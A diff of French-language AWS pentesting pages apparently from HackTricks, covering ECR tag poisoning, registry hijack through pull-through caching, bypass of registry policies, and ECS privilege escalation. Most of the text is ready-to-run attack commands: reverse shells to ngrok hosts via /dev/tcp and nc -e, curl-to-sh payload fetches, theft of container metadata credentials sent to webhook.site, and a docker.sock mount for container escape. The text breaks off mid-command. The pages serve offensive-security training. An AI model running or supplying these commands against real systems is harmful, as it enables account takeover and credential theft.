+Empoisonner un tag immuable en basculant la mutabilité +```bash +REGION=us-east-1 +REPO=ht-immutable-demo-$RANDOM +aws ecr create-repository --region $REGION --repository-name $REPO --image-tag-mutability IMMUTABLE +acct=$(aws sts get-caller-identity --query Account --output text) +aws ecr get-login-password --region $REGION | docker login --username AWS --password-stdin ${acct}.dkr.ecr.${REGION}.amazonaws.com +# Build and push initial trusted tag +printf 'FROM alpine:3.19\nCMD echo V1\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Attempt overwrite while IMMUTABLE (should fail) +printf 'FROM alpine:3.19\nCMD echo V2\n' > Dockerfile && docker build -t ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod . && docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Flip to MUTABLE and overwrite +aws ecr put-image-tag-mutability --region $REGION --repository-name $REPO --image-tag-mutability MUTABLE +docker push ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +# Validate consumers pulling by tag now get the poisoned image (prints V2) +docker run --rm ${acct}.dkr.ecr.${REGION}.amazonaws.com/${REPO}:prod +``` +
+ + +#### Global registry hijack via ROOT Pull-Through Cache rule + +Créez une règle Pull-Through Cache (PTC) utilisant le paramètre spécial `ecrRepositoryPrefix=ROOT` pour mapper la racine du registre ECR privé vers un registre public en amont (par ex., ECR Public). Tout pull vers un repository inexistant dans le registre privé sera servi de façon transparente depuis l'amont, permettant un supply-chain hijacking sans pousser vers le ECR privé. + +- Permissions requises : `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`, `ecr:GetAuthorizationToken`. +- Impact : les pulls vers `.dkr.ecr..amazonaws.com/:` réussissent et créent automatiquement des private repos issus de l'amont. + +> Remarque : pour les règles `ROOT`, omettez `--upstream-repository-prefix`. Le fournir provoquera une erreur de validation. + +
+Démo (us-east-1, upstream public.ecr.aws) +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 1) Create ROOT PTC rule mapping to ECR Public (no upstream prefix) +aws ecr create-pull-through-cache-rule \ +--region "$REGION" \ +--ecr-repository-prefix ROOT \ +--upstream-registry-url public.ecr.aws + +# 2) Authenticate to private ECR and pull via root path (triggers caching & auto repo creation) +aws ecr get-login-password --region "$REGION" | docker login --username AWS --password-stdin ${ACCT}.dkr.ecr.${REGION}.amazonaws.com + +# Example using an official mirror path hosted in ECR Public +# (public.ecr.aws/docker/library/alpine:latest) +docker pull ${ACCT}.dkr.ecr.${REGION}.amazonaws.com/docker/library/alpine:latest + +# 3) Verify repo and image now exist without any push +aws ecr describe-repositories --region "$REGION" \ +--query "repositories[?repositoryName==docker/library/alpine]" +aws ecr list-images --region "$REGION" --repository-name docker/library/alpine --filter tagStatus=TAGGED + +# 4) Cleanup +aws ecr delete-pull-through-cache-rule --region "$REGION" --ecr-repository-prefix ROOT +aws ecr delete-repository --region "$REGION" --repository-name docker/library/alpine --force || true +``` +
+ +### `ecr:PutAccountSetting` (Rétrograder `REGISTRY_POLICY_SCOPE` pour contourner les denies de registry policy) + +Exploitez `ecr:PutAccountSetting` pour changer le scope de la registry policy de `V2` (policy appliquée à toutes les actions ECR) à `V1` (policy appliquée uniquement à `CreateRepository`, `ReplicateImage`, `BatchImportUpstreamImage`). Si une registry policy restrictive (Deny) bloque des actions comme `CreatePullThroughCacheRule`, la rétrogradation vers `V1` supprime cette restriction et permet aux identity‑policy Allows de prendre effet. + +- Permissions requises : `ecr:PutAccountSetting`, `ecr:PutRegistryPolicy`, `ecr:GetRegistryPolicy`, `ecr:CreatePullThroughCacheRule`, `ecr:DescribePullThroughCacheRules`, `ecr:DeletePullThroughCacheRule`. +- Impact : Capacité à effectuer des actions ECR précédemment bloquées par une registry policy Deny (par ex., créer des règles PTC) en définissant temporairement le scope sur `V1`. + +Étapes (exemple) : + +
+Contourner la registry policy Deny sur CreatePullThroughCacheRule en passant à V1 +```bash +REGION=us-east-1 +ACCT=$(aws sts get-caller-identity --query Account --output text) + +# 0) Snapshot current scope/policy (for restore) +aws ecr get-account-setting --name REGISTRY_POLICY_SCOPE --region $REGION || true +aws ecr get-registry-policy --region $REGION > /tmp/orig-registry-policy.json 2>/dev/null || echo '{}' > /tmp/orig-registry-policy.json + +# 1) Ensure V2 and set a registry policy Deny for CreatePullThroughCacheRule +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +cat > /tmp/deny-ptc.json <<'JSON' +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "DenyPTCAll", +"Effect": "Deny", +"Principal": "*", +"Action": ["ecr:CreatePullThroughCacheRule"], +"Resource": "*" +} +] +} +JSON +aws ecr put-registry-policy --policy-text file:///tmp/deny-ptc.json --region $REGION + +# 2) Attempt to create a PTC rule (should FAIL under V2 due to Deny) +set +e +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws +RC=$? +set -e +if [ "$RC" -eq 0 ]; then echo "UNEXPECTED: rule creation succeeded under V2 deny"; fi + +# 3) Downgrade scope to V1 and retry (should SUCCEED now) +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V1 --region $REGION +aws ecr create-pull-through-cache-rule \ +--region $REGION \ +--ecr-repository-prefix ptc-deny-test \ +--upstream-registry-url public.ecr.aws + +# 4) Verify rule exists +aws ecr describe-pull-through-cache-rules --region $REGION \ +--query "pullThroughCacheRules[?ecrRepositoryPrefix=='ptc-deny-test']" + +# 5) Cleanup and restore +aws ecr delete-pull-through-cache-rule --region $REGION --ecr-repository-prefix ptc-deny-test || true +if jq -e '.registryPolicyText' /tmp/orig-registry-policy.json >/dev/null 2>&1; then +jq -r '.registryPolicyText' /tmp/orig-registry-policy.json > /tmp/_orig.txt +aws ecr put-registry-policy --region $REGION --policy-text file:///tmp/_orig.txt +else +aws ecr delete-registry-policy --region $REGION || true +fi +aws ecr put-account-setting --name REGISTRY_POLICY_SCOPE --value V2 --region $REGION +``` +
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md deleted file mode 100644 index 49c51b92b..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md +++ /dev/null @@ -1,328 +0,0 @@ -# AWS - ECS Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -## ECS - -Plus d'informations sur ECS dans : - -{{#ref}} -../aws-services/aws-ecs-enum.md -{{#endref}} - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` - -Un attaquant abusant des permissions `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` dans ECS peut **générer une nouvelle task definition** avec un **container malveillant** qui vole les credentials metadata et **l'exécuter**. - -{{#tabs }} -{{#tab name="Reverse Shell" }} -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -# Run task definition -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -{{#endtab }} - -{{#tab name="Webhook" }} - -Créer un webhook avec un site comme webhook.site -```bash - -# Create file container-definition.json -[ -{ -"name": "exfil_creds", -"image": "python:latest", -"entryPoint": ["sh", "-c"], -"command": [ -"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" -] -} -] - -# Run task definition, uploading the .json file -aws ecs register-task-definition \ ---family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 \ ---memory 512 \ ---requires-compatibilities FARGATE \ ---container-definitions file://container-definition.json - -# Check the webhook for a response - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 - -``` -{{#endtab }} - -{{#endtabs }} - -**Impact potentiel:** Privesc direct vers un autre ECS role. - -### `iam:PassRole`,`ecs:RunTask` -Un attaquant disposant des permissions `iam:PassRole` et `ecs:RunTask` peut démarrer une nouvelle tâche ECS en modifiant les valeurs de `execution role`, `task role` et du `container's command`. La commande CLI `ecs run-task` contient le flag `--overrides` qui permet de changer à l'exécution `executionRoleArn`, `taskRoleArn` et le `container's command` sans toucher à la task definition. - -Les rôles IAM spécifiés pour `taskRoleArn` et `executionRoleArn` doivent inclure une trust policy autorisant `ecs-tasks.amazonaws.com` à les assumer. - -De plus, l'attaquant doit connaître : -- ECS cluster name -- VPC Subnet -- Security group (Si aucun security group n'est spécifié, le security group par défaut sera utilisé) -- Task Definition Name and revision -- Name of the Container -```bash -aws ecs run-task \ ---cluster \ ---launch-type FARGATE \ ---network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ ---task-definition \ ---overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": , -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -Dans l'extrait de code ci-dessus, un attaquant ne remplace que la valeur de `taskRoleArn`. Cependant, l'attaquant doit disposer de la permission `iam:PassRole` sur le `taskRoleArn` spécifié dans la commande et sur le `executionRoleArn` spécifié dans la définition de tâche pour que l'attaque puisse avoir lieu. - -Si le rôle IAM que l'attaquant peut passer possède suffisamment de privilèges pour récupérer l'image ECR et démarrer la tâche ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), alors l'attaquant peut spécifier le même rôle IAM pour `executionRoleArn` et `taskRoleArn` dans la commande `ecs run-task`. -```sh -aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' -{ -"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", -"containerOverrides": [ -{ -"name": "", -"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] -} -] -}' -``` -**Impact potentiel :** privesc direct sur n'importe quel ECS task role. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` - -Comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle task definition** avec un **conteneur malveillant** qui dérobe les identifiants de métadonnées et **l'exécuter**.\ -Cependant, dans ce cas, une instance de conteneur pour exécuter la task definition malveillante est nécessaire. -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" - -aws ecs start-task --task-definition iam_exfiltration \ ---container-instances - -# Delete task definition -## You need to remove all the versions (:1 is enough if you just created one) -aws ecs deregister-task-definition --task-definition iam_exfiltration:1 -``` -**Impact potentiel:** Direct privesc to any ECS role. - -### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` - - -Comme dans l'exemple précédent, un attaquant abusant des **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** permissions dans ECS peut **générer une nouvelle définition de tâche** avec un **containeur malveillant** qui vole les identifiants de métadonnées et **l'exécuter en créant un nouveau service avec au moins 1 tâche en cours d'exécution.** -```bash -# Generate task definition with rev shell -aws ecs register-task-definition --family iam_exfiltration \ ---task-role-arn "$ECS_ROLE_ARN" \ ---network-mode "awsvpc" \ ---cpu 256 --memory 512\ ---requires-compatibilities "[\"FARGATE\"]" \ ---container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" - -# Run the task creating a service -aws ecs create-service --service-name exfiltration \ ---task-definition iam_exfiltration \ ---desired-count 1 \ ---cluster "$CLUSTER_ARN" \ ---launch-type FARGATE \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" - -# Run the task updating a service -aws ecs update-service --cluster \ ---service \ ---task-definition -``` -**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS. - -### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` - -En fait, avec seulement ces permissions, il est possible d'utiliser overrides pour exécuter des commandes arbitraires dans un container avec un rôle arbitraire, avec quelque chose comme : -```bash -aws ecs run-task \ ---task-definition "" \ ---overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ ---cluster \ ---network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" -``` -**Impact potentiel :** Privesc direct vers n'importe quel ECS role. - -### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -Ce scénario est similaire aux précédents mais **sans** la permission **`iam:PassRole`**.\ -C'est toujours intéressant car si vous pouvez exécuter un container arbitraire, même sans role, vous pourriez **run a privileged container to escape** vers le node et **steal the EC2 IAM role** et les **other ECS containers roles** s'exécutant sur le node.\ -Vous pourriez même **force other tasks to run inside the EC2 instance** que vous compromettez pour voler leurs credentials (comme expliqué dans la [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)). - -> [!WARNING] -> Cette attaque n'est possible que si le **ECS cluster is using EC2** instances et non pas Fargate. -```bash -printf '[ -{ -"name":"exfil_creds", -"image":"python:latest", -"entryPoint":["sh", "-c"], -"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], -"mountPoints": [ -{ -"readOnly": false, -"containerPath": "/var/run/docker.sock", -"sourceVolume": "docker-socket" -} -] -} -]' > /tmp/task.json - -printf '[ -{ -"name": "docker-socket", -"host": { -"sourcePath": "/var/run/docker.sock" -} -} -]' > /tmp/volumes.json - - -aws ecs register-task-definition --family iam_exfiltration \ ---cpu 256 --memory 512 \ ---requires-compatibilities '["EC2"]' \ ---container-definitions file:///tmp/task.json \ ---volumes file:///tmp/volumes.json - - -aws ecs run-task --task-definition iam_exfiltration \ ---cluster arn:aws:ecs:us-east-1:947247140022:cluster/ecs-takeover-ecs_takeover_cgidc6fgpq6rpg-cluster \ ---launch-type EC2 - -# You will need to do 'apt update' and 'apt install docker.io' to install docker in the rev shell -``` -### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** - -Un attaquant disposant des **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** peut **exécuter des commandes** à l'intérieur d'un conteneur en cours d'exécution et exfiltrer le rôle IAM qui y est attaché (vous avez besoin des permissions describe parce que c'est nécessaire pour exécuter `aws ecs execute-command`).\ -Cependant, pour cela, l'instance de conteneur doit exécuter l'**ExecuteCommand agent** (ce qui, par défaut, n'est pas le cas). - -Par conséquent, l'attaquant pourrait essayer de : - -- **Essayer d'exécuter une commande** dans chaque conteneur en cours d'exécution -```bash -# List enableExecuteCommand on each task -for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do -echo "Cluster $cluster" -for task in $(aws ecs list-tasks --cluster "$cluster" | jq .taskArns | grep '"' | cut -d '"' -f2); do -echo " Task $task" -# If true, it's your lucky day -aws ecs describe-tasks --cluster "$cluster" --tasks "$task" | grep enableExecuteCommand -done -done - -# Execute a shell in a container -aws ecs execute-command --interactive \ ---command "sh" \ ---cluster "$CLUSTER_ARN" \ ---task "$TASK_ARN" -``` -- S'il a **`ecs:RunTask`**, exécutez une tâche avec `aws ecs run-task --enable-execute-command [...]` -- S'il a **`ecs:StartTask`**, exécutez une tâche avec `aws ecs start-task --enable-execute-command [...]` -- S'il a **`ecs:CreateService`**, créez un service avec `aws ecs create-service --enable-execute-command [...]` -- S'il a **`ecs:UpdateService`**, mettez à jour un service avec `aws ecs update-service --enable-execute-command [...]` - -Vous pouvez trouver **des exemples de ces options** dans **les sections précédentes d'ECS privesc**. - -**Impact potentiel :** Privesc vers un rôle différent attaché aux conteneurs. - -### `ssm:StartSession` - -Consultez la **page ssm privesc** pour voir comment abuser de cette permission afin de **privesc vers ECS** : - -{{#ref}} -aws-ssm-privesc.md -{{#endref}} - -### `iam:PassRole`, `ec2:RunInstances` - -Consultez la **page ec2 privesc** pour voir comment abuser de ces permissions afin de **privesc vers ECS** : - -{{#ref}} -aws-ec2-privesc.md -{{#endref}} - -### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole` - -Un attaquant disposant de ces permissions pourrait potentiellement enregistrer une instance EC2 dans un cluster ECS et y exécuter des tâches. Cela pourrait permettre à l'attaquant d'exécuter du code arbitraire dans le contexte des tâches ECS. - -- TODO : Est-il possible d'enregistrer une instance depuis un compte AWS différent pour que les tâches s'exécutent sur des machines contrôlées par l'attaquant ? - -### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets` - -> [!NOTE] -> TODO : Tester ceci - -Un attaquant disposant des permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet` et `ecs:DescribeTaskSets` peut **créer un task set malveillant pour un service ECS existant et mettre à jour le task set primaire**. Cela permet à l'attaquant de **exécuter du code arbitraire au sein du service**. -```bash -# Register a task definition with a reverse shell -echo '{ -"family": "malicious-task", -"containerDefinitions": [ -{ -"name": "malicious-container", -"image": "alpine", -"command": [ -"sh", -"-c", -"apk add --update curl && curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | sh" -] -} -] -}' > malicious-task-definition.json - -aws ecs register-task-definition --cli-input-json file://malicious-task-definition.json - -# Create a malicious task set for the existing service -aws ecs create-task-set --cluster existing-cluster --service existing-service --task-definition malicious-task --network-configuration "awsvpcConfiguration={subnets=[subnet-0e2b3f6c],securityGroups=[sg-0f9a6a76],assignPublicIp=ENABLED}" - -# Update the primary task set for the service -aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id -``` -**Impact potentiel**: Exécuter du code arbitraire dans le service affecté, pouvant compromettre son fonctionnement ou exfiltrer des données sensibles. - -## Références - -- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md new file mode 100644 index 000000000..5ce38cdb0 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md @@ -0,0 +1,551 @@ +# AWS - ECS Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +## ECS + +Plus d'**infos sur ECS** dans: + +{{#ref}} +../../aws-services/aws-ecs-enum.md +{{#endref}} + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask` + +Un attaquant abusant de la permission `iam:PassRole`, `ecs:RegisterTaskDefinition` et `ecs:RunTask` dans ECS peut **générer une nouvelle task definition** avec un **malicious container** qui vole les metadata credentials et **l'exécuter**. + +{{#tabs }} +{{#tab name="Reverse Shell" }} +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +# Run task definition +aws ecs run-task --task-definition iam_exfiltration \ +--cluster arn:aws:ecs:eu-west-1:947247140022:cluster/API \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"subnet-e282f9b8\"]}}" + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +{{#endtab }} + +{{#tab name="Webhook" }} + +Créez un webhook sur un site comme webhook.site +```bash + +# Create file container-definition.json +[ +{ +"name": "exfil_creds", +"image": "python:latest", +"entryPoint": ["sh", "-c"], +"command": [ +"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890" +] +} +] + +# Run task definition, uploading the .json file +aws ecs register-task-definition \ +--family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 \ +--memory 512 \ +--requires-compatibilities FARGATE \ +--container-definitions file://container-definition.json + +# Check the webhook for a response + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 + +``` +{{#endtab }} + +{{#endtabs }} + +**Impact potentiel :** Privesc direct vers un autre rôle ECS. + +### `iam:PassRole`,`ecs:RunTask` +Un attaquant disposant des permissions `iam:PassRole` et `ecs:RunTask` peut démarrer une nouvelle tâche ECS avec des valeurs modifiées pour **execution role**, **task role** et le **command** du conteneur. La commande CLI `ecs run-task` possède le flag `--overrides`, qui permet de modifier à l'exécution les valeurs `executionRoleArn`, `taskRoleArn` et le `command` du conteneur sans toucher la task definition. + +Les IAM roles spécifiés pour `taskRoleArn` et `executionRoleArn` doivent, dans leur trust policy, permettre qu'ils soient assumés par `ecs-tasks.amazonaws.com`. + +De plus, l'attaquant doit connaître : +- nom du cluster ECS +- sous-réseau VPC +- groupe de sécurité (si aucun n'est spécifié, celui par défaut sera utilisé) +- Nom et révision de la Task Definition +- Nom du Container +```bash +aws ecs run-task \ +--cluster \ +--launch-type FARGATE \ +--network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" \ +--task-definition \ +--overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": , +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +Dans l'extrait de code ci‑dessus, un attacker écrase uniquement la valeur `taskRoleArn`. Cependant, l'attacker doit avoir la permission `iam:PassRole` sur le `taskRoleArn` spécifié dans la commande et le `executionRoleArn` spécifié dans la définition de tâche pour que l'attaque puisse avoir lieu. + +Si le rôle IAM que l'attacker peut passer possède suffisamment de privilèges pour puller l'image ECR et démarrer la tâche ECS (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), alors l'attacker peut spécifier le même rôle IAM pour `executionRoleArn` et `taskRoleArn` dans la commande `ecs run-task`. +```sh +aws ecs run-task --cluster --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[],securityGroups=[],assignPublicIp=ENABLED}" --task-definition --overrides ' +{ +"taskRoleArn": "arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"executionRoleArn":"arn:aws:iam:::role/HighPrivilegedECSTaskRole", +"containerOverrides": [ +{ +"name": "", +"command": ["nc", "4.tcp.eu.ngrok.io", "18798", "-e", "/bin/bash"] +} +] +}' +``` +**Impact potentiel :** Privesc direct vers n'importe quel rôle de task ECS. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask` + +Tout comme dans l'exemple précédent, un attaquant abusant des permissions **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dans ECS peut **générer une nouvelle task definition** contenant un **conteneur malveillant** qui vole les metadata credentials et **l'exécuter**.\ +Cependant, dans ce cas, une container instance est nécessaire pour exécuter la task definition malveillante. +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/0.tcp.ngrok.io/14280 0>&1\\\"\"]}]" + +aws ecs start-task --task-definition iam_exfiltration \ +--container-instances + +# Delete task definition +## You need to remove all the versions (:1 is enough if you just created one) +aws ecs deregister-task-definition --task-definition iam_exfiltration:1 +``` +**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS. + +### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)` + + +Comme dans l'exemple précédent, un attaquant abusant des autorisations **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ou **`ecs:CreateService`** dans ECS peut **générer une nouvelle task definition** avec un **malicious container** qui vole les **metadata credentials** et **l'exécuter en créant un nouveau service avec au moins 1 task en cours d'exécution.** +```bash +# Generate task definition with rev shell +aws ecs register-task-definition --family iam_exfiltration \ +--task-role-arn "$ECS_ROLE_ARN" \ +--network-mode "awsvpc" \ +--cpu 256 --memory 512\ +--requires-compatibilities "[\"FARGATE\"]" \ +--container-definitions "[{\"name\":\"exfil_creds\",\"image\":\"python:latest\",\"entryPoint\":[\"sh\", \"-c\"],\"command\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/8.tcp.ngrok.io/12378 0>&1\\\"\"]}]" + +# Run the task creating a service +aws ecs create-service --service-name exfiltration \ +--task-definition iam_exfiltration \ +--desired-count 1 \ +--cluster "$CLUSTER_ARN" \ +--launch-type FARGATE \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"ENABLED\", \"subnets\":[\"$SUBNET\"]}}" + +# Run the task updating a service +aws ecs update-service --cluster \ +--service \ +--task-definition +``` +**Impact potentiel :** privesc direct vers n'importe quel rôle ECS. + +### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)` + +En fait, rien qu'avec ces permissions, il est possible d'utiliser des overrides pour exécuter des commandes arbitraires dans un conteneur avec un rôle arbitraire, par exemple : +```bash +aws ecs run-task \ +--task-definition "" \ +--overrides '{"taskRoleArn":"", "containerOverrides":[{"name":"","command":["/bin/bash","-c","curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh"]}]}' \ +--cluster \ +--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"\"]}}" +``` +**Impact potentiel :** Privesc direct vers n'importe quel rôle ECS. + +### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`** + +Ce scénario est similaire aux précédents mais **sans** la permission **`iam:PassRole`**.\ +C'est toujours intéressant, car si vous pouvez exécuter un container arbitraire, même sans rôle, vous pourriez **exécuter un container privilégié pour vous échapper** vers le nœud et **voler le rôle IAM EC2** ainsi que les **autres rôles des containers ECS** s'exécutant sur ce nœud.\ +Vous pourriez même **forcer d'autres tasks à s'exécuter à l'intérieur de l'instance EC2** que vous compromettez pour voler leurs identifiants (comme discuté dans la [**Privesc to node section**](aws-ecs-post-exploitation/README.md#privesc-to-node)). + +> [!WARNING] +> Cette attaque n'est possible que si le **cluster ECS utilise des instances EC2** et non Fargate. +```bash +printf '[ +{ +"name":"exfil_creds", +"image":"python:latest", +"entryPoint":["sh", "-c"], +"command":["/bin/bash -c \\\"bash -i >& /dev/tcp/7.tcp.eu.ngrok.io/12976 0>&1\\\""], +"mountPoints": [ +{ +"readOnly": false, +"containerPath": "/var/run/docker.sock", +"sourceVolume": "docker-socket" +} +] +} +]' > /tmp/task.json + +printf '[ +{ +"name": "docker-socket", +"host": { +"sourcePath": "/var/run/docker.sock" +} +} +]' > 